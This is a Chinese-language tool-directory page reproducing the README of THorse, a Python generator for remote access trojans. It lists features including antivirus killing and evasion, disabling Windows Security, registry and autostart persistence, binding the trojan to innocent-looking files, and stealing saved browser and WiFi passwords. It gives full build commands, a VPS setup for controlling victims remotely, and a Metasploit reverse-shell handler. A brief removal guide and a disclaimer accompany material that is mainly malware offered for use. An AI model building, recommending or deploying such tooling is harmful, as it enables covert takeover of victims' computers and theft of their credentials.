Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
thorse — THorse 是一个用 Python 3 编写的、适用于 Windows/Linux 系统的 RAT(远程管理木马)生成器。 | Kitploit
工具/GitHubGitHub/pushpenderindia/thorse
密码破解漏洞利用框架Payload生成持久化机制IDS/IPS规避后渗透利用命令与控制远程访问木马反机器人
GitHubpushpenderindia/thorse

thorse

THorse 是一个用 Python 3 编写的、适用于 Windows/Linux 系统的 RAT(远程管理木马)生成器。

614126512年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

THorse

THorse 是一个用 Python 3 编写的、面向 Windows/Linux 系统的 RAT(远程管理木马)生成器。

root@kitploit:~
                    这个小巧的 Python 脚本能完成非常出色的工作。

免责声明

:computer: 本项目仅出于正当目的和个人使用而创建。

本软件按“原样”提供,不附带任何形式的保证。您可自行承担风险使用本软件。使用责任完全由最终用户承担。开发者不承担任何责任,也不对本程序造成的任何滥用或损害负责。

功能

  • 兼容 Windows/Linux
  • 通过电子邮件通知新受害者
  • 无法被检测
  • 不需要 root 或管理员权限
  • 持久化
  • 通过电子邮件发送受害者电脑的屏幕截图
  • 向攻击者提供完整的 Meterpreter 访问权限
  • 创建木马无需安装 Metasploit
  • 创建零依赖的可执行二进制文件
  • 创建约 5MB 体积小且具有高级功能的载荷
  • 在编译前混淆载荷,从而绕过更多杀毒软件
  • 生成的载荷使用 Base64 编码,因此对载荷进行逆向工程极其困难
  • 终止受害者电脑上的杀毒软件,并尝试禁用 Windows 安全中心
  • 出色的彩色界面用于生成载荷
  • 在攻击者端:创建载荷时,脚本会自动检测缺失的依赖并安装它们
  • 能够为恶意文件添加自定义图标
  • 内置捆绑器,可将可执行文件与任意文件(.pdf、.txt、.exe 等)捆绑,前端运行合法文件,后端以服务方式运行恶意代码。
  • 检查系统上是否已有实例正在运行,如果发现正在运行的实例,则仅执行合法文件【多实例禁止器】。
  • 攻击者可以使用 Linux 系统为 Windows/Linux 操作系统创建/编译载荷,但使用 Windows 机器只能创建/编译 Windows 可执行文件。
  • 检索受害者系统中保存的密码,并将其发送给攻击者。
支持从以下位置检索已保存的密码:
Chrome 浏览器
WiFi

注意:自定义窃取程序为自行编写,不依赖 LaZagne

已在以下环境测试

Kali) Kali Linux - ROLLING EDITION

Windows) Windows 10

Windows) Windows 8.1 - Pro

Windows) Windows 7 - Ultimate

以下是使用 Metasploit 生成的 meterpreter 载荷存在的限制:

  • 在执行后门之前必须先运行 Metasploit 监听器。
  • 后门本身不会持久化,我们必须使用后渗透模块来使后门持久化。后渗透模块只能在成功渗透后才能使用。
  • 当载荷在新系统上执行时,不会通知我们。

我们都知道 Meterpreter 载荷有多么强大,但由它生成的载荷仍然不尽如人意。

以下是该载荷生成器的功能,可以让您对这段 Python 脚本有一个清晰的了解:

  • 使用 Windows 注册表在 Windows 中实现持久化。
  • 也设法在 Linux 系统中实现持久化。
  • 载荷可以在 LINUX 以及 WINDOWS 上运行。
  • 提供完整访问权限,既可以使用 Metasploit 监听器,也支持自定义监听器(您可以创建自己的监听器)。
  • 每当载荷在新系统上运行时,都会发送包含完整系统信息的电子邮件通知。
  • 在 1 分钟甚至更短时间内生成载荷。
  • 支持所有 Meterpreter 后渗透模块。
  • 可以在 Windows 以及 Linux 系统上创建载荷。

先决条件

  • Python 3.X
  • 少量外部模块

请注意:

在 Windows 中,请在 paygen.py 中指定/设置 Pyinstaller 路径 [第 14 行]

默认路径如下:PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

请根据您的系统进行更改

如何在 Linux 中使用

root@kitploit:~
# Install dependencies 
$ Install latest python 3.x

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

如何在 VPS 中使用(推荐)

root@kitploit:~
# 1. Setup a VPS, You can buy Ubuntu VPS from any VPS Provider such as Digital Ocean, Linode, AWS, etc

# 2. Connect to your VPS Using SSH
$ ssh username@ip_address

# 3. Update Your Linux VPS
$ sudo apt update

# 4. Add Kali Linux Repository
$ sudo sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

# 5. Install gnupg package
$ sudo apt install gnupg

# 6. Add Kali Public Keys
$ wget 'https://archive.kali.org/archive-key.asc' && sudo apt-key add archive-key.asc

# 7. Update VPS
$ sudo apt update

# 8. Set Kali Priority
$ sudo sh -c "echo 'Package: *'>/etc/apt/preferences.d/kali.pref; echo 'Pin: release a=kali-rolling'>>/etc/apt/preferences.d/kali.pref; echo 'Pin-Priority: 50'>>/etc/apt/preferences.d/kali.pref"

# 9. Update VPS
$ sudo apt update

# 10. Install Metasploit Framework in VPS
$ sudo apt install -t kali-rolling metasploit-framework

# NOTE: Above Steps needs to be performed only for once 

# 11. Install pip3
$ sudo apt install python3-pip

# 12. Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# 13. Go into the repository
$ cd thorse

# 14. Installing dependencies
$ bash installer_linux.sh

# 15. If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ 16. chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT (If you want to Compile RAT for Windows, then Build RAT on Windows Machine & Use VPS for Controlling RAT Remotely)
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

如何在 Windows 中使用

root@kitploit:~
# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open paygen.py in Text editor and Configure Line 15, set Pyinstaller path, Default Path is as follows :-
# PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe") 

# Getting Help Menu
$ python paygen.py --help

# Making Payload/RAT
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT binded with legitimate file [Any file .exe, .pdf, .txt etc]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon/txt.ico --bind passwords.txt 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

注意:恶意文件将保存在 dist/ 文件夹内的 technowhorse/ 文件夹中

使用 Msfconsole 建立连接

  • 您需要在系统上安装 Metasploit-Framework 才能建立连接。

  • 推荐设置,您也可以尝试将第 2 行替换为其他载荷进行测试。

root@kitploit:~
$ sudo msfconsole
msf3> use exploit/multi/handler
msf3> set payload python/meterpreter/reverse_tcp
msf3> set LHOST 192.168.43.221
msf3> set LPORT 443
msf3> run

如何更新

  • 运行 updater.py 自动更新,或从本 GitHub 仓库下载最新的 Zip 压缩包。
  • 注意:要使用 updater.py,必须先安装 Git。

可用参数

  • 可选参数

注意:必须指定 -w/--windows 或 -l/--linux 之一

  • 必需参数

新截图:

获取帮助

生成载荷

也可参考以下旧图片

~旧截图:

获取帮助

运行 paygen.py 脚本

当 RAT 运行时,它会添加注册表项以实现持久化

复制自身并保存在 Roaming 目录中

RAT 发送的报告

从受害者电脑收到通知

贡献者:

目前这个仓库由我(Pushpender Singh)维护。但如果您想成为贡献者,可以添加一些很酷的功能并提交拉取请求,我会进行审查并合并到这个仓库中。

所有贡献者的拉取请求只要对这个仓库有价值,就会被接受。

待办事项

  • 添加新功能
  • 贡献 GUI

在 Windows 中移除 TechNowHorse:

方法 1:

  • 转到“开始”,输入 regedit 并运行第一个程序,这将打开注册表编辑器。
  • 导航到以下路径 Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run。应该有一个名为 winexplorer 的条目,右键单击该条目并选择“删除”。
  • 转到您的用户路径 > AppData > Roaming,您会看到一个名为“explorer.exe”的文件,这就是 RAT,右键单击 > 删除。
  • 重新启动系统。

方法 2:

  • 在受感染系统上运行 "RemoveTHorse.bat",然后重新启动电脑以停止当前正在运行的恶意文件。

在 Linux 中移除 TechNowHorse:

  • 使用任意文本编辑器打开自启动文件, 自启动文件路径:~/.config/autostart/xinput.desktop

  • 删除以下 5 行:

    root@kitploit:~
       [Desktop Entry]
       Type=Application
       X-GNOME-Autostart-enabled=true
       Name=Xinput
       Exec="destination_file_name"
    
  • 注意:destination_file_name 是您通过 -o 参数为您的 TrojanHorse 指定的恶意文件名称。

  • 重新启动系统,然后删除存储于以下路径的恶意文件。

  • 存储 TrojanHorse 的目标路径:~/.config/xnput

贡献者

  • 贡献者专用列表:贡献者

Pushpender Singh

:computer:

欢迎任何形式的贡献!

注意:如果您本应出现在贡献者列表中但我们遗漏了您,请告诉我们!

待办列表

  • 提出您自己的功能建议 : )
  • GUI 开发
  • 修复 Bug
  • 添加更多浏览器密码窃取功能
下载工具
短参数完整参数说明
-h--help显示此帮助信息并退出
-k KILL_AV--kill_av KILL_AV杀毒软件杀手:指定需要被终止的杀毒软件 .exe 文件。例如:--kill_av cmd.exe
-t TIME_IN_SECONDS--persistence TIME_PERSISTENT在 __ 秒后实现持久化。默认=10
-w--windows生成 Windows 可执行文件。
-l--linux生成 Linux 可执行文件。
-b file.txt--bind LEGITIMATE_FILE_PATH.pdf自动捆绑器:指定合法文件的路径。[支持的操作系统:Windows]
-s--steal-password从受害者机器窃取已保存的密码 [支持的操作系统:Windows]
-d--debug在前台运行病毒
短参数完整参数说明
--icon ICON指定图标路径,即恶意文件的图标 [注意:必须是 .ico]
--ip IP_ADDRESS用于接收报告的电子邮件地址。
--port PORT--ip 参数中给出的 IP 地址的端口。
-e EMAIL--email EMAIL用于接收报告的电子邮件地址。
-p PASSWORD--password PASSWORD在 -e 参数中给出的电子邮件地址对应的密码。
-o OUT--out OUT输出文件名。